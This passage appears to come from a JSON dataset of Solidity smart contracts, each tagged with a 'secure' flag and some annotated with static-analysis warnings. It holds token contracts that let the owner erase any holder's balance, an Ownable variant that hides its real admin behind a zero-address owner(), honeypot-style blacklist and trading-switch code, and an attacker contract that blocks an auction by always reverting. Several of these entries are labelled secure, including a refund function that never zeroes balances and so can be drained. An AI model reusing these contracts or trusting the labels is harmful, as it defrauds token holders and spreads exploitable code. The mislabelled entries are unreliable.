uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function eatshit(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2329.sol",
"secure": 1,
"size_bytes": 5820
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface SpunkyVestingContract {\n function addVestingSchedule(\n address _beneficiary,\n uint256 _vestedAmount,\n uint256 _cliffDuration,\n uint256 _vestingDuration\n ) external;\n}",
"file_name": "solidity_code_233.sol",
"secure": 1,
"size_bytes": 283
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Urstupidaf {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 70000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 1a31a3c): urstupidaf._name should be constant \n\t// Recommendation for 1a31a3c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"7AC857 ur retarded buy this\";\n\t// WARNING Optimization Issue (constable-states | ID: a5f0318): urstupidaf._symbol should be constant \n\t// Recommendation for a5f0318: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"7AC857\";\n\t// WARNING Optimization Issue (immutable-states | ID: 4f87c3a): urstupidaf._owner should be immutable \n\t// Recommendation for 4f87c3a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function returntoheaven(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2330.sol",
"secure": 1,
"size_bytes": 5870
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract SecureContract {\n address payable leader;\n uint256 public highestBid;\n mapping(address => uint256) refunds;\n\n function bid() external payable {\n require(msg.value > highestBid);\n\n refunds[leader] = refunds[leader] + highestBid;\n\n leader = payable(msg.sender);\n highestBid = msg.value;\n }\n\n function getLeader() external view returns (address) {\n return leader;\n }\n\n function withdrawRefund() external payable {\n require(refunds[msg.sender] > 0, \"No refunds available\");\n\n (bool success, ) = msg.sender.call{value: refunds[msg.sender]}(\"\");\n require(success, \"Failed to transfer refund\");\n }\n}",
"file_name": "solidity_code_2331.sol",
"secure": 1,
"size_bytes": 770
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router01 {\n function WETH() external pure returns (address);\n\n function factory() external view returns (address);\n}",
"file_name": "solidity_code_2332.sol",
"secure": 1,
"size_bytes": 208
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event AdminTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function admin() public view virtual returns (address) {\n return _owner;\n }\n\n function owner() public view virtual returns (address) {\n return address(0);\n }\n\n modifier onlyOwner() {\n require(admin() == _msgSender(), \"!owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"zero address\");\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit AdminTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_2333.sol",
"secure": 1,
"size_bytes": 1169
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./SecureContract.sol\" as SecureContract;\n\ncontract AttackerContract {\n\t// WARNING Optimization Issue (immutable-states | ID: 159c4d3): AttackerContract.secureContract should be immutable \n\t// Recommendation for 159c4d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n SecureContract secureContract;\n\n constructor(SecureContract _secureContract) {\n secureContract = _secureContract;\n }\n\n fallback() external payable {\n revert();\n }\n\n function placeBid() external payable {\n require(msg.value > secureContract.highestBid());\n\n secureContract.bid{value: msg.value}();\n }\n}",
"file_name": "solidity_code_2334.sol",
"secure": 1,
"size_bytes": 764
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _changeMetadata(\n string memory name_,\n string memory symbol_\n ) internal {\n _name = name_;\n _symbol = symbol_;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n if (amount == 0) return;\n\n require(from != address(0), \"FZA\");\n require(to != address(0), \"TZA\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"exceeds\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"TZA\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"FZA\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"exceeds\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"FZA\");\n require(spender != address(0), \"TZA\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2335.sol",
"secure": 1,
"size_bytes": 4663
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20UserStatus is ERC20, Ownable {\n mapping(address => bool) public userStatus;\n\n function setUserStatus(address address_, bool status_) external onlyOwner {\n userStatus[address_] = status_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!userStatus[from] && !userStatus[to], \"blacklisted\");\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_2336.sol",
"secure": 1,
"size_bytes": 705
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20TaxHandler is ERC20, Ownable {\n error OverMaxBasisPoints();\n\n struct TokenConfiguration {\n address treasury;\n uint16 transferFeesBPs;\n uint16 buyFeesBPs;\n uint16 sellFeesBPs;\n }\n\n TokenConfiguration internal tokenConfiguration;\n\n mapping(address => uint256) internal addressConfiguration;\n\n uint256 public constant MAX_FEES = 10_000;\n\n uint256 public constant FEE_RATE_DENOMINATOR = 10_000;\n\n constructor(uint16 _transferFee, uint16 _buyFee, uint16 _sellFee) {\n if (\n _transferFee > MAX_FEES || _buyFee > MAX_FEES || _sellFee > MAX_FEES\n ) {\n revert OverMaxBasisPoints();\n }\n\n tokenConfiguration = TokenConfiguration({\n treasury: msg.sender,\n transferFeesBPs: _transferFee,\n buyFeesBPs: _buyFee,\n sellFeesBPs: _sellFee\n });\n }\n\n function setTreasury(address _treasury) external onlyOwner {\n tokenConfiguration.treasury = _treasury;\n }\n\n function setTransferFeesBPs(uint16 fees) external onlyOwner {\n if (fees > MAX_FEES) {\n revert OverMaxBasisPoints();\n }\n tokenConfiguration.transferFeesBPs = fees;\n }\n\n function setBuyFeesBPs(uint16 fees) external onlyOwner {\n if (fees > MAX_FEES) {\n revert OverMaxBasisPoints();\n }\n tokenConfiguration.buyFeesBPs = fees;\n }\n\n function setSellFeesBPs(uint16 fees) external onlyOwner {\n if (fees > MAX_FEES) {\n revert OverMaxBasisPoints();\n }\n tokenConfiguration.sellFeesBPs = fees;\n }\n\n function feeWL(address _address, bool _status) external onlyOwner {\n uint256 packed = addressConfiguration[_address];\n addressConfiguration[_address] = _packBoolean(packed, 0, _status);\n }\n\n function liquidityPairList(\n address _address,\n bool _status\n ) external onlyOwner {\n uint256 packed = addressConfiguration[_address];\n addressConfiguration[_address] = _packBoolean(packed, 1, _status);\n }\n\n function treasury() public view returns (address) {\n return tokenConfiguration.treasury;\n }\n\n function transferFeesBPs() public view returns (uint256) {\n return tokenConfiguration.transferFeesBPs;\n }\n\n function buyFeesBPs() public view returns (uint256) {\n return tokenConfiguration.buyFeesBPs;\n }\n\n function sellFeesBPs() public view returns (uint256) {\n return tokenConfiguration.sellFeesBPs;\n }\n\n function getFeeRate(\n address from,\n address to\n ) public view returns (uint256) {\n uint256 fromConfiguration = addressConfiguration[from];\n\n if (_unpackBoolean(fromConfiguration, 0)) return 0;\n\n uint256 toConfiguration = addressConfiguration[to];\n\n if (_unpackBoolean(toConfiguration, 0)) return 0;\n\n TokenConfiguration memory configuration = tokenConfiguration;\n\n if (_unpackBoolean(fromConfiguration, 1))\n return configuration.buyFeesBPs;\n\n if (_unpackBoolean(toConfiguration, 1))\n return configuration.sellFeesBPs;\n\n return configuration.transferFeesBPs;\n }\n\n function isFeeWhitelisted(address account) public view returns (bool) {\n return _unpackBoolean(addressConfiguration[account], 0);\n }\n\n function isLiquidityPair(address account) public view returns (bool) {\n return _unpackBoolean(addressConfiguration[account], 1);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n uint256 fromConfiguration = addressConfiguration[from];\n\n if (_unpackBoolean(fromConfiguration, 0)) {\n super._transfer(from, to, amount);\n return;\n }\n\n uint256 toConfiguration = addressConfiguration[to];\n\n if (_unpackBoolean(toConfiguration, 0)) {\n super._transfer(from, to, amount);\n return;\n }\n\n uint256 fee;\n TokenConfiguration memory configuration = tokenConfiguration;\n\n if (_unpackBoolean(fromConfiguration, 1)) {\n unchecked {\n fee =\n (amount * configuration.buyFeesBPs) /\n FEE_RATE_DENOMINATOR;\n }\n } else if (_unpackBoolean(toConfiguration, 1)) {\n unchecked {\n fee =\n (amount * configuration.sellFeesBPs) /\n FEE_RATE_DENOMINATOR;\n }\n } else {\n unchecked {\n fee =\n (amount * configuration.transferFeesBPs) /\n FEE_RATE_DENOMINATOR;\n }\n }\n\n uint256 amountAfterFee;\n unchecked {\n amountAfterFee = amount - fee;\n }\n\n super._transfer(from, to, amountAfterFee);\n super._transfer(from, configuration.treasury, fee);\n }\n\n function _packBoolean(\n uint256 source,\n uint256 index,\n bool value\n ) internal pure returns (uint256) {\n if (value) {\n return source | (1 << index);\n } else {\n return source & ~(1 << index);\n }\n }\n\n function _unpackBoolean(\n uint256 source,\n uint256 index\n ) internal pure returns (bool) {\n return source & (1 << index) > 0;\n }\n}",
"file_name": "solidity_code_2337.sol",
"secure": 1,
"size_bytes": 5758
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./ERC20UserStatus.sol\" as ERC20UserStatus;\nimport \"./ERC20TaxHandler.sol\" as ERC20TaxHandler;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ncontract AutoYield is ERC20, ERC20UserStatus, ERC20TaxHandler {\n error Disable();\n\n bool private _tradingEnable;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5a2c869): AutoYield.constructor(string,string,uint256)._name shadows ERC20._name (state variable)\n\t// Recommendation for 5a2c869: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f39d03): AutoYield.constructor(string,string,uint256)._symbol shadows ERC20._symbol (state variable)\n\t// Recommendation for 7f39d03: Rename the local variables that shadow another component.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _supply\n ) ERC20(_name, _symbol) ERC20TaxHandler(0, 0, 0) {\n addressConfiguration[msg.sender] = _packBoolean(0, 0, true);\n _mint(msg.sender, _supply * 10 ** 18);\n _setUp();\n }\n\n function changeMetadata(\n string memory name_,\n string memory symbol_\n ) external onlyOwner {\n _changeMetadata(name_, symbol_);\n }\n\n function setTrade(bool status) external onlyOwner {\n _tradingEnable = status;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override(ERC20, ERC20TaxHandler) {\n ERC20TaxHandler._transfer(from, to, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override(ERC20, ERC20UserStatus) {\n if (\n !_tradingEnable &&\n !isFeeWhitelisted(from) &&\n !isFeeWhitelisted(to) &&\n !isFeeWhitelisted(msg.sender)\n ) revert Disable();\n super._beforeTokenTransfer(from, to, amount);\n }\n\n function _setUp() internal {\n IUniswapV2Router01 uniswapV2Router = IUniswapV2Router01(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address uniswapV2Pair = _computePairAddress(\n uniswapV2Router.factory(),\n address(this),\n uniswapV2Router.WETH()\n );\n\n uint256 packed = addressConfiguration[uniswapV2Pair];\n addressConfiguration[uniswapV2Pair] = _packBoolean(packed, 1, true);\n }\n\n function _computePairAddress(\n address factory,\n address token0,\n address token1\n ) internal pure returns (address) {\n if (token0 > token1) (token0, token1) = (token1, token0);\n\n return\n address(\n uint160(\n uint256(\n keccak256(\n abi.encodePacked(\n bytes1(0xff),\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n bytes32(\n 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f\n )\n )\n )\n )\n )\n );\n }\n}",
"file_name": "solidity_code_2338.sol",
"secure": 0,
"size_bytes": 3550
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract VulnerableContract {\n address payable leader;\n uint256 public highestBid;\n\n function bid() external payable {\n require(msg.value > highestBid);\n\n require(leader.send(highestBid));\n\n leader = payable(msg.sender);\n highestBid = msg.value;\n }\n\n function getLeader() external view returns (address) {\n return leader;\n }\n}",
"file_name": "solidity_code_2339.sol",
"secure": 1,
"size_bytes": 457
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\nimport \"./SpunkyVestingContract.sol\" as SpunkyVestingContract;\n\ncontract SpunkySDXPresale is Ownable {\n using SafeERC20 for IERC20;\n\n string public name;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9e3b5b0): SpunkySDXPresale.spunkyToken should be immutable \n\t// Recommendation for 9e3b5b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public spunkyToken;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 468d0d4): SpunkySDXPresale.vestingContract should be immutable \n\t// Recommendation for 468d0d4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n SpunkyVestingContract public vestingContract;\n\n uint256 public presalePriceCents = 1;\n\n uint256 public constant CENTS_PER_DOLLAR = 10000;\n\n\t// WARNING Optimization Issue (constable-states | ID: ef19e53): SpunkySDXPresale.tokensSold should be constant \n\t// Recommendation for ef19e53: Add the 'constant' attribute to state variables that never change.\n uint256 public tokensSold;\n\n bool public presaleStarted;\n\n bool public presaleEnded;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3a8a9e7): SpunkySDXPresale.stalenessThreshold should be immutable \n\t// Recommendation for 3a8a9e7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 stalenessThreshold;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 83f2384): SpunkySDXPresale.priceFeed should be immutable \n\t// Recommendation for 83f2384: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n AggregatorV3Interface public priceFeed;\n\n address public constant WITHDRAWAL_ADDRESS =\n 0x8D5f8b318d644c4Bbe17f198E66B1F671f3e3c15;\n\n event TokensPurchased(address indexed buyer, uint256 amount);\n\n event PresaleStarted(bool presaleStarted);\n\n event PresaleEnded(bool presaleEnded);\n\n event PresalePriceUpdated(uint256 newPriceCents);\n\n event WithdrawEther(uint256 etherprice);\n\n constructor(address _vestingContractAddress, address _spunkyTokenAddress) {\n name = \"SpunkySDXPresale\";\n\n spunkyToken = IERC20(_spunkyTokenAddress);\n\n presaleStarted = false;\n\n presaleEnded = false;\n\n stalenessThreshold = 6 hours;\n\n priceFeed = AggregatorV3Interface(\n 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419\n );\n\n vestingContract = SpunkyVestingContract(_vestingContractAddress);\n }\n\n modifier presaleActive() {\n require(presaleStarted, \"Presale has not started\");\n\n require(!presaleEnded, \"Presale has ended\");\n\n _;\n }\n\n function startPresale() external onlyOwner {\n require(!presaleStarted, \"Presale already started\");\n\n presaleStarted = true;\n\n emit PresaleStarted(presaleStarted);\n }\n\n function endPresale() external onlyOwner presaleActive {\n presaleEnded = true;\n\n emit PresaleEnded(presaleEnded);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 18b033c): SpunkySDXPresale.getETHPrice() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp updatedAt <= stalenessThreshold,Stale price feed)\n\t// Recommendation for 18b033c: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 42156d5): SpunkySDXPresale.getETHPrice() ignores return value by (None,price,None,updatedAt,None) = priceFeed.latestRoundData()\n\t// Recommendation for 42156d5: Ensure that all the return values of the function calls are used.\n function getETHPrice() public view returns (uint256) {\n\t\t// unused-return | ID: 42156d5\n (, int256 price, , uint256 updatedAt, ) = priceFeed.latestRoundData();\n\n require(price > 0, \"Invalid price feed\");\n\n\t\t// timestamp | ID: 18b033c\n require(\n block.timestamp - updatedAt <= stalenessThreshold,\n \"Stale price feed\"\n );\n\n return uint256(price);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c16b604): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c16b604: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f2e7dd9): SpunkySDXPresale.buyTokens() ignores return value by spunkyToken.approve(address(vestingContract),vestedAmount)\n\t// Recommendation for f2e7dd9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 71dcd0e): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 71dcd0e: Consider ordering multiplication before division.\n function buyTokens() public payable {\n require(msg.value > 0, \"No Ether sent\");\n\n if (presaleStarted && !presaleEnded) {\n uint256 ethPrice = getETHPrice();\n\n require(msg.sender != owner(), \"Contract owner cannot participate\");\n\n\t\t\t// divide-before-multiply | ID: 71dcd0e\n uint256 tokensToBuy = (msg.value * ethPrice * presalePriceCents) /\n (CENTS_PER_DOLLAR * 1 ether);\n\n require(\n spunkyToken.balanceOf(address(this)) >= tokensToBuy,\n \"Not enough presale tokens available\"\n );\n\n uint256 MAX_HOLDING = (500 * (10 ** 9) * (10 ** 18) * 5) / 100;\n\n require(\n spunkyToken.balanceOf(msg.sender) + tokensToBuy <= MAX_HOLDING,\n \"Purchase would exceed maximum holding per address\"\n );\n\n uint256 immediateReleaseAmount = tokensToBuy / 4;\n\n uint256 vestedAmount = tokensToBuy - immediateReleaseAmount;\n\n\t\t\t// reentrancy-events | ID: c16b604\n spunkyToken.safeTransfer(msg.sender, immediateReleaseAmount);\n\n\t\t\t// reentrancy-events | ID: c16b604\n\t\t\t// unused-return | ID: f2e7dd9\n spunkyToken.approve(address(vestingContract), vestedAmount);\n\n uint256 cliffDuration = 0;\n\n uint256 vestingDuration = 30 days * 5;\n\n\t\t\t// reentrancy-events | ID: c16b604\n vestingContract.addVestingSchedule(\n msg.sender,\n vestedAmount,\n cliffDuration,\n vestingDuration\n );\n\n\t\t\t// reentrancy-events | ID: c16b604\n emit TokensPurchased(msg.sender, immediateReleaseAmount);\n\n\t\t\t// divide-before-multiply | ID: 71dcd0e\n uint256 actualEtherUsed = (tokensToBuy *\n CENTS_PER_DOLLAR *\n 1 ether) / (ethPrice * presalePriceCents);\n\n uint256 surplusEther = msg.value - actualEtherUsed;\n\n if (surplusEther > 0) {\n Address.sendValue(payable(msg.sender), surplusEther);\n }\n } else {\n Address.sendValue(payable(msg.sender), msg.value);\n }\n }\n\n receive() external payable {\n buyTokens();\n }\n\n function updatePresalePrice(uint256 newPriceCents) external onlyOwner {\n require(newPriceCents > 0, \"Price must be greater than zero\");\n\n presalePriceCents = newPriceCents;\n\n emit PresalePriceUpdated(newPriceCents);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6cee1e0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6cee1e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawEther() external onlyOwner {\n\t\t// reentrancy-events | ID: 6cee1e0\n Address.sendValue(payable(WITHDRAWAL_ADDRESS), address(this).balance);\n\n\t\t// reentrancy-events | ID: 6cee1e0\n emit WithdrawEther(address(this).balance);\n }\n\n function withdrawTokens() external onlyOwner {\n uint256 remainingTokens = spunkyToken.balanceOf(address(this));\n\n spunkyToken.safeTransfer(owner(), remainingTokens);\n }\n}",
"file_name": "solidity_code_234.sol",
"secure": 0,
"size_bytes": 8996
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PuppySwap is ERC20 {\n constructor(uint256 supply) ERC20(\"PuppySwap\", \"PUP\") {\n _mint(msg.sender, supply);\n }\n}",
